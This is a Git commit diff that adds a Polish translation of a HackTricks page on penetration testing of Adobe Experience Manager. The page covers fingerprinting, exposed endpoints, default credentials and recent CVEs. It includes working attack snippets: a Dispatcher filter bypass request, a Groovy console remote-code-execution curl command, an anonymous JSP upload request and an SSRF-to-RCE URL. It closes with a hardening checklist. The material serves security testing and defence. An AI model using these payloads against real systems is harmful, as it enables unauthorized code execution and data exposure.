mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
1beacbcbd5
commit
6cba4fe29f
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Znajdź luki i błędy konfiguracyjne za pomocą [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS, który działa na Apache Sling/Felix (OSGi) oraz Java Content Repository (JCR).
|
||||
> Z perspektywy atakującego instancje AEM często ujawniają niebezpieczne punkty końcowe do rozwoju, słabe zasady Dispatcher, domyślne dane uwierzytelniające oraz długą listę CVE, które są łatanie co kwartał.
|
||||
|
||||
Lista kontrolna poniżej koncentruje się na **zewnętrznie dostępnej (unauth) powierzchni ataku**, która wciąż pojawia się w rzeczywistych zaangażowaniach (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Inne szybkie wskaźniki:
|
||||
* `/etc.clientlibs/` statyczna ścieżka obecna (zwraca JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` strona logowania z banerem „Adobe Experience Manager”.
|
||||
* `</script><!--/* CQ */-->` komentarz na dole HTML.
|
||||
|
||||
---
|
||||
|
||||
## 2. Wysokowartościowe punkty końcowe bez uwierzytelnienia
|
||||
|
||||
Ścieżka | Co otrzymujesz | Uwagi
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | Węzły JCR za pomocą **DefaultGetServlet** | Często zablokowane, ale *Dispatcher bypass* (patrz poniżej) działa.
|
||||
`/bin/querybuilder.json?path=/` | API QueryBuilder | Wyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników.
|
||||
`/system/console/status-*`, `/system/console/bundles` | Konsola OSGi/Felix | 403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów.
|
||||
`/crx/packmgr/index.jsp` | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunku JSP.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Jeśli ujawnione → dowolne wykonanie Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Dzienniki audytu | Ujawnienie informacji.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Zrzut ClientLibs | Wektor XSS.
|
||||
|
||||
### Sztuczka z obejściem Dispatcher
|
||||
Większość stron produkcyjnych znajduje się za *Dispatcher* (reverse-proxy). Jego zasady filtrów można obejść, dodając dozwoloną statyczną rozszerzenie **po średniku lub zakodowanej nowej linii**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Jedno zapytanie, jak powyżej, często ujawnia węzły profilu użytkownika z adresami e-mail. P-T Partners opublikowało dobre wskazówki dotyczące tej słabości. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Typowe błędne konfiguracje (wciąż obecne w 2025)
|
||||
|
||||
1. **Anonimowy serwlet POST** – `POST /.json` z `:operation=import` pozwala na dodawanie nowych węzłów JCR. Zablokowanie `*.json` POST w Dispatcherze to naprawia. 【】
|
||||
2. **Profile użytkowników dostępne dla wszystkich** – domyślne ACL przyznaje `jcr:read` na `/home/users/**/profile/*` wszystkim.
|
||||
3. **Domyślne dane logowania** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **Włączony WCMDebugFilter** ⇒ odzwierciedlone XSS przez `?debug=layout` (CVE-2016-7882, wciąż znalezione w starszych instalacjach 6.4).
|
||||
5. **Ekspozycja Groovy Console** – zdalne wykonanie kodu przez wysłanie skryptu Groovy:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Ostatnie luki (cykl wydania pakietów serwisowych)
|
||||
|
||||
Kwartał | CVE | Dotknięte | Wpływ
|
||||
------- | --- | -------- | ------
|
||||
Grudzień 2024 | **CVE-2024-43711** | 6.5.21 i wcześniejsze | Niewłaściwa walidacja wejścia → **Wykonanie dowolnego kodu** (wymaga niskoprawnych uprawnień). 【】
|
||||
Grudzień 2024 | CVE-2024-43724/26 | 6.5.21 i wcześniejsze | DOM / Przechowywane XSS w kreatorze przenoszenia strony. 【】
|
||||
Grudzień 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS oparte na DOM przez spreparowany URL. 【】
|
||||
Grudzień 2022 | CVE-2022-30683 | ≤ 6.5.13 | Wada w projektowaniu kryptograficznym → odszyfrowanie sekretu (wymaga niskoprawnych danych logowania). 【】
|
||||
|
||||
Zawsze sprawdzaj biuletyn *APSB* odpowiadający pakietowi serwisowemu klienta i żądaj najnowszej wersji **6.5.22** lub *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Fragmenty wykorzystania
|
||||
|
||||
### 5.1 RCE przez obejście dispatcher + przesyłanie JSP
|
||||
Jeśli anonimowe zapisywanie jest możliwe:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Teraz zażądaj `/content/evil.jsp` – JSP działa z użytkownikiem procesu AEM.
|
||||
|
||||
### 5.2 SSRF do RCE (historyczne < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` z **aem-hacker** automatyzuje cały proces. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Narzędzia
|
||||
|
||||
* **aem-hacker** – skrypt do enumeracji typu szwajcarski scyzoryk, wspiera obejście dispatcher, wykrywanie SSRF, sprawdzanie domyślnych poświadczeń i więcej.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – rekurencyjnie żądaj `/_jcr_content.(json|html)`, aby odkryć ukryte komponenty.
|
||||
* **osgi-infect** – przesyłaj złośliwy pakiet OSGi przez `/system/console/bundles`, jeśli dostępne są poświadczenia.
|
||||
|
||||
---
|
||||
|
||||
## 7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie)
|
||||
|
||||
1. Utrzymuj instancję na **najświeższym skumulowanym pakiecie serwisowym** (stan na lipiec 2025: 6.5.22).
|
||||
2. Usuń/zmień domyślne konta; wymuś SSO/SAML.
|
||||
3. Zaostrzyć **filtry Dispatcher** – odrzucaj `;`, zakodowane nowe linie oraz `*.json` lub `*.querybuilder.json` dla anonimowych użytkowników.
|
||||
4. Wyłącz lub zabezpiecz konsolę (`/system/console`, `/crx/*`, `/etc/groovyconsole`) za pomocą listy dozwolonych adresów IP.
|
||||
5. Zastosuj pakiet *Wzmacnianie uprawnień anonimowych* dostarczony przez Adobe.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
|
||||
* 0ang3el – narzędzie aem-hacker (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user